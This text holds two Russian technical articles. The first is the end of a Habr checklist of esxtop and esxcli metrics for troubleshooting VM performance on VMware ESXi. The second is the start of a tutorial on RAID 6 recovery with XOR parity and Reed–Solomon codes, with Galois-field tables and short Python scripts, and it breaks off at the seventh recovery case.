Обратите внимание, что параметр %MLMTD уже учтен в расчете %RDY. Показатель %MLMTD высок, когда ВМ не может быть запущена из-за настройки CPU Limit. Если вы хотите повысить производительность этой ВМ, то увеличьте этот лимит. В целом, использование CPU Limit не рекомендуется.
6. %SWPWT должен равняться 0.
Это процент времени, в течение которого world ожидает, пока VMkernel завершит подкачку памяти. Время %SWPWT (ожидание подкачки) включено в %WAIT.
3. Memory в esxtop (клавиша ‘m’)
1. Memory хоста в состоянии High. Про memory state подробно написано здесь: <https://www.yellow-bricks.com/2015/03/02/what-happens-at-which-vsphere-memory-state/>
2. MCTLSZ должен равняться 0.
Это объем гостевой физической памяти, перераспределенной balloon-драйвером.
Высокий показатель MCTLSZ означает, что много гостевой физической памяти этой виртуальной машины «украдено», чтобы уменьшить нагрузку на память хоста.
Как тогда узнать, что виртуальная машина работает в режиме ballooning? Если показатель MCTLSZ изменяется, balloon-драйвер активно освобождает память хоста, раздувая «шар памяти» в ВМ. Скорость ballooning в краткосрочной перспективе можно оценить по изменению MCTLSZ в какую-либо сторону.
3. SWCUR должен равняться 0.
Это общее количество мегабайт подкачки, которые используются в файле vswp ВМ или в системном файле подкачки, а также миграционном файле подкачки. ВМ в состоянии vMotion использует миграционный файл подкачки для удержания выгруженной памяти на целевом узле, если целевому узлу не хватает памяти.
Для ВМ это текущий объем гостевой физической памяти, выгруженной в зарезервированное хранилище. Обратите внимание, что эта статистика относится к своппингу VMkernel, а не к своппингу гостевой ОС внутри ВМ.
Высокий показатель SWCUR у ВМ означает, что гостевая физическая память ВМ находится не в оперативной памяти, а на диске.
4. N%L должен быть больше 80.
Это процент объема виртуальной памяти ВМ, который находится в локальной для её виртуальных CPU NUMA Node. Низкий процент N%L означает, что, с высокой вероятностью, какие-то запросы виртуальных процессоров ВМ используют данные оперативной памяти ВМ через межпроцессорное соединение.
Подробнее об этом можно почитать в цикле статей от Frank Denneman: <https://frankdenneman.nl/2016/07/06/introduction-2016-numa-deep-dive-series/>.
4. Disk ВМ в esxtop (клавиша ‘v’)
1. LAT/rd и LAT/wr не должны превышать приемлемых для приложения значений.
2. CMDS/s не должен достигать IOPS Limit.
3. MBREAD/s + MBWRTN/s не должен достигать пределов vmhba.
5. Disk Adapter в esxtop (клавиша ‘d’)
1. QAVG/cmd должно быть около 0 и не превышать KAVG/cmd.
Это среднее время ожидания в очереди.
QAVG должен входить в KAVG. Но при проблемах с физическим устройством или соединительными линиями QAVG может превышать KAVG. Если показатель QAVG высокий, то следует обратить внимание на глубину очередей на каждом уровне стека хранения.
2. GAVG/cmd, KAVG/cmd и DAVG/cmd не должны превышать приемлемые значения для данного хранилища данных.
GAVG – это круговая задержка для всех запросов ввода/вывода, которые гостевая система отправляет на виртуальное устройство хранения. Параметр GAVG = KAVG + DAVG.
KAVG – этот параметр отслеживает задержки, связанные с работой VMkernel.
Значение KAVG должно быть намного меньше значения DAVG и близко к нулю. Когда в ESXi много очередей, KAVG может быть таким же высоким или даже выше, чем DAVG. Если это произошло, проверьте статистику очередей и лимиты политики хранения или виртуального диска.
DAVG – это задержка, наблюдаемая на уровне драйвера устройства. Она включает в себя время приема-передачи между HBA и хранилищем.
DAVG – хороший индикатор производительности хранилища. Если есть подозрения, что задержки ввода/вывода являются причиной проблем с производительностью, то следует проверить DAVG. Сравните задержки ввода/вывода с соответствующими данными из массива. Если они сходятся, проверьте массив на предмет неправильной конфигурации или неисправностей. Если нет, то сравните DAVG с соответствующими данными из точек между массивом и сервером ESXi, например, FC-коммутаторов. Если эти промежуточные данные также совпадают со значениями DAVG, вероятно, приложению не хватает ресурсов для корректной работы в этом хранилище. В таких случаях может помочь добавление накопителей или изменение уровня RAID.
3. MBREAD/s + MBWRTN/s не должна достигать пределов vmhba.
4. FCMDS/s, ABRTS/s, RESETS/s должны равняться 0.
FCMDS/s – это количество команд в секунду, завершившихся ошибкой. Может указывать на проблемы с контроллером хранения, состоянием соединения до хранилища или непосредственно с хранилищем.
ABRTS/s – это количество прерванных команд в секунду. Параметр может указывать на то, что система хранения данных не удовлетворяет требованиям гостевой ОС. Гостевая система прерывает обработку команды, если хранилище не отвечает в течение приемлемого времени (может быть настроено в гостевой ОС, в том числе и в результате установки VMware Tools). Кроме того, гостевая ОС может прервать все команды, выполняемые на ее виртуальном SCSI-адаптере.
RESETS/s – это количество сброшенных команд в секунду. Указывает на число отброшенных команд в результате сброса состояния адаптера. Сброс может быть вызван драйвером как реакция на какие-либо события в сети хранения данных.
6. FC
1. Вывод команды esxcli storage san fc stats get не должен содержать ошибок.
2. Мониторинг портов сети хранения данных не должен содержать ошибок.
7. Disk device в esxtop (клавиша ‘u’)
1. QAVG/cmd должно быть около 0 и не превышать KAVG/cmd.
2. KAVG/cmd должно быть около 0.
3. DAVG/cmd, GAVG/cmd не должны превышать приемлемых для приложения значений.
4. DQLEN должно быть более 32 (кроме устройств USB и CDROM).
Глубина очереди (queue depth) – одна из ключевых характеристик подсистемы ввода/вывода, особенно в виртуализации, где требуется высокий параллелизм операций. Глубина очереди определяет число команд ввода/вывода, которые подсистема может осуществлять одновременно. На глубину очереди влияют протоколы, аппаратные возможности устройств, прошивки и драйверы.
Регулируется, как минимум, в следующих местах:
* в драйвере HBA глобально на хост: <https://kb.vmware.com/s/article/1267>
* на каждом LUN есть два параметра: <https://kb.vmware.com/s/article/1268>
1. Device Max Queue Depth наследуется от Queue Depth драйвера HBA (предыдущий шаг). Однако может быть занижено такими технологиями, как SIOCv1 (включается в vSphere Client на Datastore) и Adaptive Queue Depth (подробнее тут: <https://kb.vmware.com/s/article/1008113>), которая включается расширенными настройками QFullSampleSize и QFullThreshold.
2. No of outstanding IOs with competing worlds (DSNRO) по умолчанию равняется 32. Это глубина очереди к LUN, если с ним одновременно работают более одной ВМ.
* на контроллере и диске ВМ: <https://kb.vmware.com/s/article/2053145>.**Важно:** если параллелизм операций с хостов ESXi превысит допустимый параллелизм нижележащих HBA, SAN или СХД, то есть совокупная глубина очереди выполняемых в настоящий момент операций ВМ превысит глубину очереди инфраструктуры, то хост будет получать SCSI-примитивы QFULL или BUSY, и в журнале vmkernel.log будут регистрироваться такие события:
* H:0x0 D:0x28 P:0x0 Valid sense data: 0x## 0x## 0x##
* H:0x0 D:0x08 P:0x0 Valid sense data: 0x## 0x## 0x##
* H:0x0 D:0x8 P:0x0 Valid sense data: 0x## 0x## 0x##
5. QUED должно равняться 0.
Это количество команд VMkernel, которые находятся в очереди. Статистика применима только к world и LUN.
Большое количество команд в очереди может быть признаком того, что система хранения перегружена. Постоянно высокое значение счетчика QUED сигнализирует об узком месте (bottleneck, дословно – «бутылочное горлышко») в системе хранения, которое в некоторых случаях можно устранить, увеличив глубину очереди. После увеличения глубины очереди проверьте, что LOAD меньше 1. Это должно увеличить количество обработанных команд в секунду и повысить производительность.
6. %USD не должно превышать 60.
Это процент глубины очереди, используемой активными командами VMkernel. Эта статистика применима только к world и LUN.
%USD = ACTV / QLEN \* 100%.
Чтобы рассчитать статистику по world, в качестве знаменателя используйте WQLEN. Для статистики LUN (устройства) в качестве знаменателя используйте LQLEN.
%USD показывает, сколько доступных слотов очереди команд задействованы. Высокие значения говорят о возможности образования очередей. Тогда вам потребуется настроить глубину очередей для HBA, если QUED также постоянно больше 1. Размеры очередей можно настроить в нескольких местах на пути ввода/вывода. Это помогает смягчить проблемы с производительностью, вызванные большими задержками.
7. FCMDS/s, ABRTS/s, RESETS/s должны равняться 0.
8. ATSF должен быть значительно меньше ATS.
Примитив VAAI Atomic Test and Set позволяет ускорить ряд операций с подсистемой хранения. Ниже приведены две статьи, подробно объясняющие каждую операцию. Множество неудавшихся операций ATS могут стать причиной проблем в работе подсистемы хранения.
Про ATS heartbeat: <https://kb.vmware.com/s/article/2113956>.
Про ATS lock: <https://kb.vmware.com/s/article/2146451>.
9. Политика мультипасинга должна быть рекомендована вендором СХД.
10. No of outstanding IOs with competing worlds (DSNRO) должно равняться Queue Depth.
8. Network в esxtop (клавиша ‘n’)
1. MbTX/s, MbRX/s не должны превышать vmnic.
Это мегабиты, передаваемые (MbTX) или принимаемые (MbRX) в секунду.
В зависимости от рабочей нагрузки MbRX/s может не совпадать с PKTRX/s, потому что размер пакетов может быть разным. Средний размер пакета можно рассчитать по формуле: средний размер пакета = MbRX/s / PKTRX/s. Увеличение размера пакетов может повысить эффективность обработки пакетов процессором. Однако потенциально это также может увеличить задержку.
2. %DRPTX, %DRPRX должны равняться 0.
%DRPTX – это процент потерянных исходящих пакетов.
%DRPTX = потерянные исходящие пакеты / (успешно отправленные исходящие пакеты + потерянные исходящие пакеты).
Высокое значение %DRPTX обычно указывает на проблемы с отправкой данных. Проверьте, полностью ли используются возможности физических сетевых карт. Возможно, нужно заменить сетевые карты на карты с лучшей производительностью. Или вы можете подключить еще несколько сетевых карт и настроить политику балансировки нагрузки, чтобы равномерно распределить нагрузку по всем картам.
%DRPRX – это процент потерянных входящих пакетов. Вычисляется по формуле: %DRPRX = потерянные входящие пакеты / (успешные принятые входящие пакеты + потерянные входящие пакеты).
Высокое значение %DRPRX обычно указывает на проблемы с приемом входящего трафика. Стоит выделить больше ресурсов CPU для затронутой ВМ или увеличить размер ring buffer.
9. Network:
1. Вывод команды `esxcli network nic stats get -n vmnicX` не должен содержать ошибок.
2. Статистика релевантных портов vsish не должна содержать ошибок и дропов.
Бывает так, что ВМ испытывает резкие скачки входящего трафика, способные переполнить Rx Ring Buffers. Расследовать такие ситуации можно, выяснив PORT-ID сетевой карточки ВМ через раздел network утилиты esxtop или командой `esxcli network vm list` -> посмотреть World ID нужной ВМ -> `esxcli network vm port list -w` .
Затем в vsish:
`cd/net/portsets//ports//`
`cat stats`
`packet stats {`
`pktsTx:823080899`
`pktsTxMulticast:18571`
`pktsTxBroadcast:1908`
`pktsRx:961804917`
`pktsRxMulticast:48602`
`pktsRxBroadcast:1947286`
`droppedTx:0`
`droppedRx:27314`
`}`
Ненулевое значение droppedRx может означать превышение Rx Ring Buffers. Расследуем дальше:
`cd /net/portsets/vSwitch0/ports//vmxnet3`
`cat rxSummary`
`stats of a vmxnet3 vNICrx queue {`
`...`
`1st ring size:1024`
`2nd ring size:64`
`# of times the 1st ring is full:349`
`# of times the 2nd ring is full:0`
`...`
`}`
Здесь мы видим размеры ring buffers и сколько раз они были переполнены. Ненулевое значение – хороший повод увеличить ring size. Там же есть директория rxqueues, в которой может быть одна или более поддиректорий. Если включена NetQueue или RSS, то в данных директориях можно посмотреть статистику каждой очереди по отдельности.
3. Вывод команды arp-scan подсети не должен содержать дубликатов IP и MAC-адресов.
4. Запись трафика в момент воспроизведения проблемы не должна содержать аномалий. Об этом подробнее тут: <https://docs.vmware.com/en/VMware-vSphere/8.0/vsphere-networking/GUID-C1CEBDDF-1E6E-42A8-A026-0C067DD16AE7.html>.
\*\*\*
В этой статье был приведен список ключевых точек для исследования при поиске проблем с производительностью ВМ и их краткое описание. Если требуется более глубокое погружение в материал, то рекомендую обратиться к циклу наших прошлых статей по данной теме:
[Часть 1. CPU](https://habr.com/ru/company/dataline/blog/452884/).
[Часть 2. Memory](https://habr.com/ru/company/dataline/blog/455820/)
[Часть 3. Storage](https://habr.com/ru/company/dataline/blog/461127/)
На этом я завершаю описание сценария поиска проблем с производительностью ВМ на ESXi. Буду рад обсудить нюансы и ответить на вопросы. | https://habr.com/ru/post/706858/ | null | ru | null |
# Коды Рида — Соломона в RAID 6
В интернете много статей о восстановлении информации в массиве RAID-6 и о том, как сделать собственную реализацию такого массива. Но большинство этих статей напичканы математическими формулами. Чтобы понять реальный алгоритм, приходится тратить очень много времени.
В этой статье постараюсь показать простой пример собственной системы исправления ошибок на основе RAID-6. В частности, рассмотрим ситуацию, когда нужно обеспечить избыточность системы, чтобы она выдерживала сбой одного или двух накопителей.
В качестве бонуса информация о том, как работает исправление ошибок в RAID-5, потому что RAID-6 — это улучшенная версия RAID-5.
Обзор
=====
Предположим, у вас три диска с некоторыми данными. Назовём их D1, D2 и D3. Чтобы применить систему типа RAID-6, вам понадобятся два дополнительных диска: PD и RS. Через несколько минут я опишу, что означают PD и RS. Итак, в общей сложности пять дисков: D1, D2, D3, PD и RS.
Итак, ситуация:
* D1, D2 и D3 содержат *произвольные данные*. Предположим, фотографии кошек.
* Специальный диск PD (Parity Drive, иногда P в документации) содержит заксоренные данные, автоматически сгенерированные из D1, D2 и D3.
* Второй специальный диск RS (коды Рида — Соломона, иногда его называют Q) для тех же данных, что и PD.
Посмотрим, как выполнять базовые операции на таком массиве.
Как работает восстановление
===========================
Если правильно рассчитать PD и RS, то можно безболезненно пережить сбой до двух дисков. Процедура восстановления зависит от того, какие конкретно диски выйдут из строя. Обычно рассматривается семь ситуаций. Ниже они отсортированы от простого к сложному.
1. Потеря PD (только одного диска).
Очень простой случай. Диск PD содержит только автоматически сгенерированные данные, поэтому его можно восстановить, используя исходные данные на дисках D1, D2 и D3.
2. Потеря одного из дисков с данными: D1, D2 или D3 (только одного накопителя).
В этом случае мы теряем данные, но только один диск, поэтому сценарий восстановления такой же, как и в RAID-5: используем PD с двумя оставшимися дисками данных для восстановления данных с отсутствующего диска. Если у нас осталось два диска данных и PD, мы всегда можем сгенерировать данные для третьего диска. В данном случае RS не нужен (и вообще не используется в этом сценарии).
3. Потеря RS (отказ только одного диска).
Аналогично ситуации из пункта 1: у нас есть все накопители данных, и мы можем просто регенерировать RS, заново рассчитав коды Рида — Соломона.
4. Потеря PD и RS (отказ двух дисков).
Этот случай очень похож на пункты 1 или 3. Все данные остались нетронуты, поэтому можно очень легко перегенерировать содержимое накопителя PD, а затем RS.
5. Потеря RS и одного накопителя данных (отказ двух накопителей).
В этом случае мы теряем два диска, но только один из потерянных дисков заполнен данными. Поскольку у нас остался неповреждённый PD, мы можем использовать его для регенерации данных с отсутствующего диска данных, так что этот случай не так сильно отличается от случая № 2. После этого у нас в наличии все диски данных, так что можно легко регенерировать диск RS.
6. Потеря PD и одного накопителя данных (выход из строя двух накопителей).
Этот случай гораздо сложнее. Мы теряем один диск с пользовательскими данными (в данном примере D3), и у нас нет диска PD, чтобы помочь с восстановлением. Придётся использовать RS в сочетании с оставшимися дисками пользовательских данных (D1 и D2), чтобы восстановить отсутствующий диск данных D3. После этого мы сможем вычислить содержимое отсутствующего PD. Это первый случай, когда вступает в игру восстановление с помощью кодов Рида — Соломона.
7. Потеря двух накопителей данных (отказ двух накопителей).
Самый сложный сценарий. Нужно использовать как PD, так и RS для регенерации обоих накопителей данных. Это возможно только благодаря кодам Рида — Соломона.
В следующих разделах изучим подробнее эти случаи и посмотрим исходный код (на Python), который выполняет фактическое восстановление данных.
Имейте в виду, что на самом деле в настоящих массивах RAID-6 не выделяется целый диск для PD или RS. Эти данные распределяются по всем дискам. Различные контроллеры используют разные методы: левый асинхронный (left asynchronous) или правый синхронный (right synchronous), может быть сдвиг относительно RAID-данных, задержки и т. д. Оставим в стороне обсуждение, почему всё происходит именно так и как выглядят реальные полосы данных RAID-6. Сфокусируемся конкретно на кодах Рида — Соломона.
Тестовые данные
===============
Определим «пользовательские данные». Для простоты установим размер каждого «диска» 5 байт.
| Диск | Данные в ASCII | Данные в HEX |
| --- | --- | --- |
| `D1` | f i r s t | 0x66, 0x69, 0x72, 0x73, 0x74 |
| `D2` | s e c n d | 0x73, 0x65, 0x63, 0x6e, 0x64 |
| `D3` | t h i r d | 0x74, 0x68, 0x69, 0x72, 0x64 |
Теперь более подробно рассмотрим упомянутые сценарии.
Ситуация 1. Потеря диска PD
===========================
Чтобы сгенерировать PD, нужны только диски с пользовательскими данных. В нашем случае это D1, D2 и D3. Диск PD состоит просто из XOR всех пользовательских данных.
Чтобы сгенерировать смещение 0 для PD, нужно заксорить все байты из смещения 0 со всех дисков. То же самое для offset 1 и так далее:
```
PD[0] = D1[0] xor D2[0] xor D3[0]
PD[1] = D1[1] xor D2[1] xor D3[1]
PD[2] = D1[2] xor D2[2] xor D3[2]
PD[3] = D1[3] xor D2[3] xor D3[3]
PD[4] = D1[4] xor D2[4] xor D3[4]
```
Пример:
```
PD[0] = 0x66 xor 0x73 xor 0x74 => 0x61
PD[1] = 0x69 xor 0x65 xor 0x63 => 0x64
PD[2] = 0x72 xor 0x63 xor 0x69 => 0x78
PD[3] = 0x73 xor 0x6e xor 0x72 => 0x6f
PD[4] = 0x74 xor 0x64 xor 0x64 => 0x74
```
Да, всё очень просто. Сделайте это для дисков целиком (в нашем случае 5-байтных), и получите корректно сгенерированный PD:
| Диск | Данные в HEX |
| --- | --- |
| `PD` | 0x61, 0x64, 0x78, 0x6f, 0x74 |
Таким образом, если выйдет из строя только PD, довольно тривиально восстановить его из D1, D2 и D3.
Ситуация 2. Потеря одного из накопителей данных: D1, D2 или D3
==============================================================
Кстати, именно так работает исправление ошибок RAID-5. Если только один диск с пользовательскими данными выйдет из строя, мы можем использовать диск PD для пересчёта недостающих пользовательских данных.
Допустим, потерян D2. В наличии остались D1, D3, PD и RS. В этом случае даже не трогаем RS. Нужны только диски D1, D3 и PD. Чтобы вычислить недостающие данные, можно снова использовать функцию XOR, как в предыдущей ситуации.
Чтобы восстановить пользовательские данные из смещения 0, ксорим байты из нулевых смещений дисков с пользовательскими данными, которые остались (D1 и D3), с байтом из нулевого смещения PD. Повторяем для смещения 1 и так далее:
```
D2[0] = D1[0] xor D3[0] xor PD[0]
D2[1] = D1[1] xor D3[1] xor PD[1]
D2[2] = D1[2] xor D3[2] xor PD[2]
D2[3] = D1[3] xor D3[3] xor PD[3]
D2[4] = D1[4] xor D3[4] xor PD[4]
```
Пример:
```
D2[0] = 0x66 xor 0x74 xor 0x61 => 0x73 (s)
D2[1] = 0x69 xor 0x63 xor 0x64 => 0x65 (e)
D2[2] = 0x72 xor 0x69 xor 0x78 => 0x63 (c)
D2[3] = 0x73 xor 0x72 xor 0x6f => 0x6e (n)
D2[4] = 0x74 xor 0x64 xor 0x74 => 0x64 (d)
```
Как видите, восстановить данные с пропавшего диска очень легко. Не имеет значения, какой диск отсутствует: функция XOR работает всегда.
Ситуация 3. Потеря диска RS
===========================
Теперь вступают в дело коды Рида — Соломона и поля Галуа. Но не волнуйтесь, необязательно быть математиком, чтобы их использовать.
Когда мы теряем только диск RS или создаём новую систему типа RAID-6, то нужно просто заново сгенерировать коды. Для этого используются таблицы gflog и gfilog с неизменяемым содержимым, а также данные с существующих накопителей D1, D2 и D3.
Таблица gflog всегда выглядит так:
```
0x00, 0x00, 0x01, 0x19, 0x02, 0x32, 0x1a, 0xc6, 0x03, 0xdf, 0x33, 0xee, 0x1b, 0x68, 0xc7, 0x4b,
0x04, 0x64, 0xe0, 0x0e, 0x34, 0x8d, 0xef, 0x81, 0x1c, 0xc1, 0x69, 0xf8, 0xc8, 0x08, 0x4c, 0x71,
0x05, 0x8a, 0x65, 0x2f, 0xe1, 0x24, 0x0f, 0x21, 0x35, 0x93, 0x8e, 0xda, 0xf0, 0x12, 0x82, 0x45,
0x1d, 0xb5, 0xc2, 0x7d, 0x6a, 0x27, 0xf9, 0xb9, 0xc9, 0x9a, 0x09, 0x78, 0x4d, 0xe4, 0x72, 0xa6,
0x06, 0xbf, 0x8b, 0x62, 0x66, 0xdd, 0x30, 0xfd, 0xe2, 0x98, 0x25, 0xb3, 0x10, 0x91, 0x22, 0x88,
0x36, 0xd0, 0x94, 0xce, 0x8f, 0x96, 0xdb, 0xbd, 0xf1, 0xd2, 0x13, 0x5c, 0x83, 0x38, 0x46, 0x40,
0x1e, 0x42, 0xb6, 0xa3, 0xc3, 0x48, 0x7e, 0x6e, 0x6b, 0x3a, 0x28, 0x54, 0xfa, 0x85, 0xba, 0x3d,
0xca, 0x5e, 0x9b, 0x9f, 0x0a, 0x15, 0x79, 0x2b, 0x4e, 0xd4, 0xe5, 0xac, 0x73, 0xf3, 0xa7, 0x57,
0x07, 0x70, 0xc0, 0xf7, 0x8c, 0x80, 0x63, 0x0d, 0x67, 0x4a, 0xde, 0xed, 0x31, 0xc5, 0xfe, 0x18,
0xe3, 0xa5, 0x99, 0x77, 0x26, 0xb8, 0xb4, 0x7c, 0x11, 0x44, 0x92, 0xd9, 0x23, 0x20, 0x89, 0x2e,
0x37, 0x3f, 0xd1, 0x5b, 0x95, 0xbc, 0xcf, 0xcd, 0x90, 0x87, 0x97, 0xb2, 0xdc, 0xfc, 0xbe, 0x61,
0xf2, 0x56, 0xd3, 0xab, 0x14, 0x2a, 0x5d, 0x9e, 0x84, 0x3c, 0x39, 0x53, 0x47, 0x6d, 0x41, 0xa2,
0x1f, 0x2d, 0x43, 0xd8, 0xb7, 0x7b, 0xa4, 0x76, 0xc4, 0x17, 0x49, 0xec, 0x7f, 0x0c, 0x6f, 0xf6,
0x6c, 0xa1, 0x3b, 0x52, 0x29, 0x9d, 0x55, 0xaa, 0xfb, 0x60, 0x86, 0xb1, 0xbb, 0xcc, 0x3e, 0x5a,
0xcb, 0x59, 0x5f, 0xb0, 0x9c, 0xa9, 0xa0, 0x51, 0x0b, 0xf5, 0x16, 0xeb, 0x7a, 0x75, 0x2c, 0xd7,
0x4f, 0xae, 0xd5, 0xe9, 0xe6, 0xe7, 0xad, 0xe8, 0x74, 0xd6, 0xf4, 0xea, 0xa8, 0x50, 0x58, 0xaf.
```
Таблица gfilog также постоянна:
```
0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1d, 0x3a, 0x74, 0xe8, 0xcd, 0x87, 0x13, 0x26,
0x4c, 0x98, 0x2d, 0x5a, 0xb4, 0x75, 0xea, 0xc9, 0x8f, 0x03, 0x06, 0x0c, 0x18, 0x30, 0x60, 0xc0,
0x9d, 0x27, 0x4e, 0x9c, 0x25, 0x4a, 0x94, 0x35, 0x6a, 0xd4, 0xb5, 0x77, 0xee, 0xc1, 0x9f, 0x23,
0x46, 0x8c, 0x05, 0x0a, 0x14, 0x28, 0x50, 0xa0, 0x5d, 0xba, 0x69, 0xd2, 0xb9, 0x6f, 0xde, 0xa1,
0x5f, 0xbe, 0x61, 0xc2, 0x99, 0x2f, 0x5e, 0xbc, 0x65, 0xca, 0x89, 0x0f, 0x1e, 0x3c, 0x78, 0xf0,
0xfd, 0xe7, 0xd3, 0xbb, 0x6b, 0xd6, 0xb1, 0x7f, 0xfe, 0xe1, 0xdf, 0xa3, 0x5b, 0xb6, 0x71, 0xe2,
0xd9, 0xaf, 0x43, 0x86, 0x11, 0x22, 0x44, 0x88, 0x0d, 0x1a, 0x34, 0x68, 0xd0, 0xbd, 0x67, 0xce,
0x81, 0x1f, 0x3e, 0x7c, 0xf8, 0xed, 0xc7, 0x93, 0x3b, 0x76, 0xec, 0xc5, 0x97, 0x33, 0x66, 0xcc,
0x85, 0x17, 0x2e, 0x5c, 0xb8, 0x6d, 0xda, 0xa9, 0x4f, 0x9e, 0x21, 0x42, 0x84, 0x15, 0x2a, 0x54,
0xa8, 0x4d, 0x9a, 0x29, 0x52, 0xa4, 0x55, 0xaa, 0x49, 0x92, 0x39, 0x72, 0xe4, 0xd5, 0xb7, 0x73,
0xe6, 0xd1, 0xbf, 0x63, 0xc6, 0x91, 0x3f, 0x7e, 0xfc, 0xe5, 0xd7, 0xb3, 0x7b, 0xf6, 0xf1, 0xff,
0xe3, 0xdb, 0xab, 0x4b, 0x96, 0x31, 0x62, 0xc4, 0x95, 0x37, 0x6e, 0xdc, 0xa5, 0x57, 0xae, 0x41,
0x82, 0x19, 0x32, 0x64, 0xc8, 0x8d, 0x07, 0x0e, 0x1c, 0x38, 0x70, 0xe0, 0xdd, 0xa7, 0x53, 0xa6,
0x51, 0xa2, 0x59, 0xb2, 0x79, 0xf2, 0xf9, 0xef, 0xc3, 0x9b, 0x2b, 0x56, 0xac, 0x45, 0x8a, 0x09,
0x12, 0x24, 0x48, 0x90, 0x3d, 0x7a, 0xf4, 0xf5, 0xf7, 0xf3, 0xfb, 0xeb, 0xcb, 0x8b, 0x0b, 0x16,
0x2c, 0x58, 0xb0, 0x7d, 0xfa, 0xe9, 0xcf, 0x83, 0x1b, 0x36, 0x6c, 0xd8, 0xad, 0x47, 0x8e, 0x01.
```
Необязательно включать эти таблицы в программу, можно использовать такой алгоритм генерации в рантайме:
```
# gflog_tables.py
def generate_tables():
polynomial = 0x11d
s = 8
gf_elements = 1 << s
gflog = gf_elements * [0]
gfilog = gf_elements * [0]
b = 1
for i in range(0, gf_elements):
gflog[b] = i & 255
gfilog[i] = b & 255
b <<= 1
if b & gf_elements:
b ^= polynomial
gflog[1] = 0;
return (gflog, gfilog)
def dump_table(caption, tab):
item = 0
print("--- {} ---".format(caption))
for i in tab:
print("0x{:02x}, ".format(i), end="")
item += 1
if item % 16 == 0:
item = 0
print()
print("")
(gflog, gfilog) = generate_tables()
# Uncomment if you want to see the tables on the console:
#
# dump_table("gflog", gflog)
# dump_table("gfilog", gfilog)
```
После объявления таблиц нужно определить некоторые операции. Сейчас мы работаем в [конечном поле](https://en.wikipedia.org/wiki/Finite_field) (поле Галуа), так что основные арифметические операции имеют другую реализацию (хотя смысл отчасти схож). Нужно переопределить основные операции — сложение, умножение и деление:
```
# rs_functions.py
from gflog_tables import *
# Addition
def gf_add(*args):
result = 0
for arg in args:
result ^= arg
return result
# Indexing
# First drive is 1, second drive is 2, etc...
def gf_drive(index):
global gfilog
return gfilog[index - 1]
# Multiplication
def gf_mul(a, b):
global gflog
global gfilog
if a == 0 or b == 0:
return 0
else:
return gfilog[(gflog[a] + gflog[b]) % 255]
# Division helper
def sub_gf8(a, b):
if a > b:
return a - b
else:
return (255 - (0 - (a - b)))
# Division
def gf_div(a, b):
global gfilog
global gflog
return gfilog[sub_gf8(gflog[a], gflog[b])]
```
Поскольку вспомогательные функции объявлены, попробуем сгенерировать данные диска RS.
```
# case 3 -- recover_rs.py
from rs_functions import *
# Here are our drives, together with their data.
image1 = [ ord('f'), ord('i'), ord('r'), ord('s'), ord('t') ]
image2 = [ ord('s'), ord('e'), ord('c'), ord('n'), ord('d') ]
image3 = [ ord('t'), ord('h'), ord('i'), ord('r'), ord('d') ]
# This is a placeholder for our RS drive. It will be regenerated
# in the lines below.
imageRS = [0] * 5
# And this is our loop that generates the RS data using nothing more
# than the user data drives.
for i in range(0, 5):
imageRS[i] = gf_add(gf_mul(gf_drive(1), image1[i]),
gf_mul(gf_drive(2), image2[i]),
gf_mul(gf_drive(3), image3[i]))
dump_table("imageRS", imageRS)
```
После запуска скрипта `recover_rs.py` диск RS содержит следующие данные:
| Диск | Данные в HEX |
| --- | --- |
| `RS` | 0x4d, 0x1e, 0x0d, 0x7a, 0x31 |
На данный момент диски D1, D2 и D3 защищены полным алгоритмом исправления ошибок RAID-6, поскольку у нас есть правильно сгенерированные PD и RS.
Важно помнить, что текущие данные RS действительны только для D1, D2 и D3 в *этом конкретном порядке*. Таким образом, RS для D1, D2 и D3 будет *отличаться* от D3, D2 и D1, даже если фактические данные на дисках одинаковы. Это важно помнить, потому что при восстановлении данных RAID-6 нужно знать правильную последовательность дисков внутри массива. К счастью, если массив невелик, можно принудительно сгенерировать данные RS, чтобы обнаружить правильную последовательность дисков.
Ситуация 4. Потеря PD и RS
==========================
Это тоже простая ситуация: выполняем сначала сценарий № 1, а затем № 3.
Повторяю, в этом случае пользовательские данные не тронуты. Мы можем использовать их для создания PD. Затем для создания RS. Оба случая уже были описаны в пунктах 1 и 3.
Ситуация 5. Потеря RS и одного диска с данными
==============================================
И здесь несложно. Мы потеряли один диск с данными, но остался PD, поэтому можно выполнить сценарий № 2, чтобы восстановить отсутствующий диск данных. Затем использовать все диски данных для регенерации RS, как в сценарии № 3. Теперь полный набор дисков восстановлен.
Ситуация 6. Потеря PD и одного диска с данными
==============================================
Общий подход заключается в том, чтобы сначала восстановить отсутствующий диск с данными, используя другие диски в сочетании с RS, а затем, после того как восстановим все диски данных, приступить к регенерации PD (сценарий № 2).
В этой ситуации придётся сделать некоторые расчёты. Предположим, что вместе с PD мы потеряли и диск данных D2. Итак, у нас в наличии D1, D3 и RS.
Благодаря диску RS мы можем восстановить D2, скомбинировав D1, D3 и RS, вот так:
```
# case 6 -- recover_d2_and_pd.py
from rs_functions import *
# We have these drives...
image1 = [ ord('f'), ord('i'), ord('r'), ord('s'), ord('t') ]
image3 = [ ord('t'), ord('h'), ord('i'), ord('r'), ord('d') ]
imageRS = [ 0x4d, 0x1e, 0x0d, 0x7a, 0x31 ]
# ...and these drives are dead
imagePD = [0] * 5
image2 = [0] * 5
for i in range(0, 5):
partialRS = gf_add(gf_mul(gf_drive(1), image1[i]),
imageRS[i], # Use RS drive instead of the dead drive.
gf_mul(gf_drive(3), image3[i]))
# gf_drive(2) is our dead drive.
div_result = gf_div(1, gf_drive(2))
# This will generate the data from the dead D2 drive.
image2[i] = gf_mul(div_result, partialRS)
# This will generate the data from the dead PD drive.
imagePD[i] = gf_add(image1[i], image2[i], image3[i])
dump_table("image2", image2)
dump_table("imagePD", imagePD)
```
Во-первых, нужно сгенерировать значение `partialRS` путём прибавления (gf\_add) возвращаемых значений `gf_mul` для всех байтов всех допустимых дисков вместе со значением RS вместо отсутствующего диска данных (в нашем случае D2).
Затем используем значение `partialRS` для регенерации данных D2 путём деления единицы на индекс мёртвого диска (`gf_drive(2)`) и умножения результата на `partialRS`. Аргумент `gf_drive(2)` указывает индекс нашего мёртвого диска. Если бы из строя вышел D1, мы бы здесь использовали `gf_drive(1)`.
После регенерации D2 восстановим все диски данных. В этом случае производим регенерацию PD как в сценарии № 1: в приведённом выше коде это делается с помощью сложения (gf\_add) данных со всех дисков. Если помните, `gf_add` над полем Галуа — простая операция XOR, поэтому вместо ручного ксоринга байтов со всех дисков данных можно использовать операцию `gf_add`.
Ситуация 7. Потеря двух накопителей данных
==========================================
